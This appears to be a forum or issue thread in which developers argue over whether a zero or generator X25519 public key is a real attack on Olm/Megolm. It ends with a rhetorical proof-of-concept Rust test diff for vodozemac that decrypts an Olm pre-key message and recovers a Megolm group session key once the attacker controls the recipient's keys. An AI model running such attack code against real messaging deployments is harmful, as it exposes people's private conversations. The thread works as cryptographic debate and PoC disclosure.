When building cryptographic systems, you assume attackers have certain capabilities without needing to figure out all the ways they can attain those. "I set my PK to 0, group admin can read the history" is an attack. QED
to which I say: what capabilities does one typically assume then? what about "I set my PK to the group generator, server admin can read the history"?
No, because setting your public key to the generator doesn't result in an all-zero shared secret, and will therefore depend on the secret key of the other participant in the ECDH protocol.
Zero is literally the only failure mode you have to avoid.
well, on the public key of the other participant.
you know, the one that the attacker trivially knows.
Nope!
Clamping, motherfucker.
- https://github.com/dalek-cryptography/x25519-dalek/blob/2ddda07333e5028698d8618428c783264ae38b40/src/x25519.rs#L205
- https://github.com/dalek-cryptography/curve25519-dalek/blob/61533d75cfc5df3452cbee20181c89ab2e40bccd/curve25519-dalek/src/montgomery.rs#L150-L162
- https://github.com/dalek-cryptography/curve25519-dalek/blob/61533d75cfc5df3452cbee20181c89ab2e40bccd/curve25519-dalek/src/scalar.rs#L1425
Well... I don't think that really matters much?
So, here's a PoC. Paralleling Soatok's PoC for the vulnerability being discussed.
diff --git a/src/olm/account/mod.rs b/src/olm/account/mod.rs
index d93e5ba..95a682f 100644
--- a/src/olm/account/mod.rs
+++ b/src/olm/account/mod.rs
@@ -1613,4 +1613,117 @@ mod test {
assert_eq!(alice.identity_keys(), account.identity_keys());
}
+
+ /// PoC: Megolm session key exfiltration via X25519 group generator
+ ///
+ /// Attack chain:
+ /// 1. Attacker replaces Bob's published Curve25519 keys with
+ /// the group generator [9] + [0u8; 31]. Since, as Soatok claims,
+ /// we should give the attacker this ability to do a proper
+ /// cryptanalysis.
+ /// 2. Alice creates an outbound Olm session to these keys.
+ /// 3. Alice encrypts the Megolm SessionKey over this Olm session.
+ /// 4. Because Bob's published keys have been replaced, the attacker
+ /// can decrypt the message with the Megolm key, that was
+ /// actually meant for Bob.
+ /// 5. And wouldn't you know it, the attacker can now decrypt ALL
+ /// group messages in the room. zomg.
+ ///
+ /// Just like before, this escalates a single poisoned Olm session
+ /// into full room compromise: every message from every participant
+ /// encrypted under that Megolm session is readable by the attacker.
+ #[cfg(feature = "low-level-api")]
+ #[test]
+ fn if_attacker_magically_sets_pk_to_the_generator_then_shit_breaks() {
+ use crate::cipher::{Cipher, MessageMac};
+ use crate::megolm::{
+ GroupSession, InboundGroupSession,
+ SessionConfig as MegolmSessionConfig, SessionKey,
+ };
+
+ // ── Step 1: Sender creates a Megolm group session ──
+ let mut group_session =
+ GroupSession::new(MegolmSessionConfig::default());
+ let session_key = group_session.session_key();
+ let session_key_bytes = session_key.to_bytes();
+
+ // Encrypt several group messages.
+ let room_msg_1 = group_session.encrypt(
+ "Quarterly earnings: revenue up 40%",
+ );
+ let room_msg_2 = group_session.encrypt(
+ "Confidential: merger target identified",
+ );
+
+ // ── Step 2: Alice encrypts the SessionKey over a poisoned
+ // Olm channel (attacker replaced Bob's keys with the generator) ──
+ let alice = Account::new();
+ let mut funny_key = [0u8; 32];
+ funny_key[0] = 9;
+ let funny_key = PublicKey::from(funny_key);
+ let mut poisoned_session = alice.create_outbound_session(
+ SessionConfig::version_2(),
+ funny_key,
+ funny_key,
+ );
+ let olm_message = poisoned_session.encrypt(&session_key_bytes);
+ let OlmMessage::PreKey(pre_key) = &olm_message else {
+ unreachable!()
+ };
+
+ // and, let's not forget, Alice has sent the keys out into the world
+ let alice_pubkeys = alice.identity_keys();
+
+ // ── Step 3: Attacker derives the session key ──
+ let attacker = Account::new();
+ let inner = pre_key.message();
+ let identity_key = alice_pubkeys.curve25519;
+ let base_key = pre_key.base_key();
+ let mut merged_secret = Box::new([0u8; 96]);
+ merged_secret[0..32].copy_from_slice(identity_key.as_bytes());
+ merged_secret[32..64].copy_from_slice(base_key.as_bytes());
+ merged_secret[64..96].copy_from_slice(base_key.as_bytes());
+
+ use crate::olm::Session;
+ use crate::olm::shared_secret::RemoteShared3DHSecret;
+ let mut attacker_session = Session::new_remote(
+ SessionConfig::version_2(),
+ RemoteShared3DHSecret(merged_secret),
+ pre_key.message().ratchet_key(),
+ pre_key.session_keys(),
+ );
+
+ // ── Step 4: Attacker decrypts the Olm-encrypted payload ──
+ let decrypted_bytes = attacker_session.decrypt_decoded(&pre_key.message()).unwrap();
+
+ // ── Step 5: Parse stolen Megolm SessionKey ──
+ let stolen_key =
+ SessionKey::from_bytes(&decrypted_bytes).expect(
+ "Decrypted bytes are a valid Megolm SessionKey",
+ );
+
+ // ── Step 6: Decrypt group messages ──
+ let mut inbound = InboundGroupSession::new(
+ &stolen_key,
+ MegolmSessionConfig::default(),
+ );
+
+ let d1 = inbound
+ .decrypt(&room_msg_1)
+ .expect("Attacker decrypts group message 1");
+ let d2 = inbound
+ .decrypt(&room_msg_2)
+ .expect("Attacker decrypts group message 2");
+
+ assert_eq!(
+ String::from_utf8_lossy(&d1.plaintext),
+ "Quarterly earnings: revenue up 40%",
+ "Attacker reads first group message"
+ );
+ assert_eq!(
+ String::from_utf8_lossy(&d2.plaintext),
+ "Confidential: merger target identified",
+ "Attacker reads second group message"
+ );
+ }
}
diff --git a/src/olm/shared_secret.rs b/src/olm/shared_secret.rs
index ebad928..3aa267c 100644
--- a/src/olm/shared_secret.rs
+++ b/src/olm/shared_secret.rs
@@ -42,7 +42,7 @@ use crate::{Curve25519PublicKey as PublicKey, types::Curve25519SecretKey as Stat
pub struct Shared3DHSecret(Box<[u8; 96]>);
#[derive(Zeroize, ZeroizeOnDrop)]
-pub struct RemoteShared3DHSecret(Box<[u8; 96]>);
+pub struct RemoteShared3DHSecret(pub Box<[u8; 96]>);
fn expand(shared_secret: &[u8; 96]) -> (Box<[u8; 32]>, Box<[u8; 32]>) {
let hkdf: Hkdf<Sha256> = Hkdf::new(Some(&[0]), shared_secret);Apply this to vodozemac at commit a4807ce7f8e69e0a512bf6c6904b0d589d06b993 (latest main at the time of writing). Then run the following:
cargo test --features "low-level-api" if_attacker_magically_sets_pk_to_the_generator_then_shit_breaks